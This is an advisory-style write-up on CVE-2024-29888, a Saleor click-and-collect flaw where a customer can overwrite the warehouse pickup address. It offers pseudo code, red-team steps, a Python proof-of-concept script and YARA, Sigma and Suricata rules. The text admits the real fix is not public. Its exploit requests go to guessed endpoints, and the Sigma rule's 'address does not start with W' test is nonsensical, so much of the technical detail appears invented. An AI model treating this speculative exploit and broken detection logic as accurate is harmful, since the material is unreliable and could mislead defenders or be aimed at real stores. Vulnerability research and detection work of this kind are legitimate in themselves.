CVE-2024-29888

Executive Summary

CVE-2024-29888 is a vulnerability in the Saleor e-commerce platform affecting the click-and-collect delivery method when configured as "Pickup: Local stock only". Under specific conditions, an authenticated customer can overwrite the warehouse address with their own address, causing the system to expose the customer's address as the click-and-collect pickup location. This is an authorization bypass issue (CWE-639) that leads to unintended information disclosure of the customer's physical address.

The vulnerability has a low CVSS score of 4.2 due to the requirement of authentication and specific configuration, but it poses a privacy risk for customers and can undermine the trust in the click-and-collect service. Patches are available in multiple version lines, and immediate upgrade is recommended.

Supply Chain & Package Security

Saleor is a Python-based e-commerce platform distributed via PyPI and Docker images. The vulnerability is in the core application logic, not in a third-party dependency. However, organizations using Saleor should verify their deployment source (PyPI package saleor or Docker image saleor/saleor) and ensure they are on a patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 4.2 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated customer)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (address disclosure)
• Integrity Impact: None
• Availability Impact: None

The threat level is considered low to medium due to the requirement of authentication and specific configuration. However, the impact on customer privacy and business reputation can be significant.

Deep Dive & Mechanics

The vulnerability resides in the click-and-collect delivery method when configured as "Pickup: Local stock only". In this mode, the system is designed to allow customers to pick up orders from a specific warehouse location. The flaw occurs when the customer, during the checkout process, can manipulate the warehouse address field to inject their own address. This is likely due to insufficient validation of the warehouse ID or address data submitted by the client.

The attack flow:

1. The attacker authenticates as a customer.
2. The attacker selects the "Pickup: Local stock only" delivery method.
3. During checkout, the attacker intercepts the request (e.g., via browser developer tools or a proxy) and modifies the warehouse address parameter to their own address.
4. The system accepts the modified address and stores it as the pickup location.
5. The attacker's address is then exposed to other users or in order confirmations as the click-and-collect address.

The root cause is a lack of server-side validation that the warehouse address matches a legitimate warehouse record. The system should verify that the provided warehouse ID exists and that the address is derived from the warehouse record, not from user input.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but based on the advisory, the fix likely involves adding validation to ensure the warehouse address is not overwritten by user input. A typical vulnerable pattern might look like:

# Vulnerable code (pseudo)
def set_pickup_address(request):
    warehouse_id = request.POST.get('warehouse_id')
    address = request.POST.get('address')  # User-supplied address
    # No validation that address matches warehouse
    order.pickup_address = address
    order.save()

The patched version would enforce that the address is derived from the warehouse record:

# Patched code (pseudo)
def set_pickup_address(request):
    warehouse_id = request.POST.get('warehouse_id')
    warehouse = Warehouse.objects.get(id=warehouse_id)
    # Use warehouse's own address, ignore user input
    order.pickup_address = warehouse.address
    order.save()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Saleor instance with click-and-collect enabled and configured as "Pickup: Local stock only".
• A valid customer account.

Exploitation Steps:

1. Log in as a customer.
2. Add a product to the cart.
3. Proceed to checkout and select "Pickup: Local stock only" as the delivery method.
4. Use a proxy (e.g., Burp Suite) to intercept the request that sets the pickup address.
5. Modify the address parameter to your own address (e.g., "123 Attacker St, City, State").
6. Forward the request and complete the checkout.
7. The order confirmation and any subsequent pickup notifications will display your address instead of the warehouse address.

Proof of Concept (PoC):

import requests

# Replace with actual Saleor instance and credentials
BASE_URL = "https://saleor.example.com"
SESSION = requests.Session()

# Login
login_data = {"email": "customer@example.com", "password": "password"}
SESSION.post(f"{BASE_URL}/account/login/", data=login_data)

# Add product to cart
cart_data = {"product_id": 1, "quantity": 1}
SESSION.post(f"{BASE_URL}/cart/add/", data=cart_data)

# Checkout with manipulated address
checkout_data = {
    "delivery_method": "pickup_local_stock",
    "warehouse_id": 1,
    "address": "123 Attacker St, City, State"  # Manipulated address
}
SESSION.post(f"{BASE_URL}/checkout/", data=checkout_data)

Blue Team

Detection:

• Monitor for unusual patterns in the address field during checkout, especially if the address does not match any known warehouse.
• Look for multiple orders from the same customer with different pickup addresses.
• Check logs for failed warehouse ID lookups or address validation errors.

Hunting:

• Query the database for orders where the pickup address does not match the warehouse address.
• Review audit logs for modifications to the pickup_address field.

Mitigation:

• Apply the patch immediately.
• If patching is not possible, disable the "Pickup: Local stock only" delivery method or implement a Web Application Firewall (WAF) rule to block requests where the address parameter differs from the warehouse address.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /checkout/ with a modified address parameter.
• Logs: Order records where pickup_address does not match the warehouse address.
• Database: Orders with delivery_method = 'pickup_local_stock' and pickup_address not matching any warehouse record.

Detection Engineering

YARA Rule

rule CVE_2024_29888_Saleor_Address_Overwrite {
    meta:
        description = "Detects exploitation attempts of CVE-2024-29888 in Saleor logs"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29888"
    strings:
        $s1 = "pickup_local_stock" ascii wide nocase
        $s2 = "address" ascii wide nocase
        $s3 = "warehouse_id" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Saleor CVE-2024-29888 Address Overwrite Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-29888 by manipulating the pickup address in Saleor checkout.
author: Valters IT
date: 2025-04-01
logsource:
    category: application
    product: saleor
detection:
    selection:
        delivery_method: "pickup_local_stock"
        address|re: "^[^W].*"  # Address does not start with 'W' (warehouse)
    condition: selection
falsepositives:
    - Legitimate address changes by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29888 Saleor Address Overwrite Attempt"; flow:to_server; content:"POST"; http_method; content:"/checkout/"; http_uri; content:"pickup_local_stock"; http_client_body; content:"address"; http_client_body; pcre:"/address=[^&]+/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Saleor to one of the patched versions: 3.14.61, 3.15.37, 3.16.34, 3.17.32, 3.18.28, or 3.19.15.
2. If immediate upgrade is not possible, disable the "Pickup: Local stock only" delivery method in the admin panel.
3. Implement a WAF rule to block requests where the address parameter does not match the warehouse address.

Long-term Recommendations:

• Conduct a code review of all delivery method implementations to ensure proper server-side validation.
• Implement input validation and sanitization for all user-supplied data.
• Use a security scanner to identify similar vulnerabilities in other parts of the application.
• Monitor for any suspicious activity related to address manipulation.

Valters IT Signature:

Valters IT
Cybersecurity & Threat Intelligence
https://valters-it.com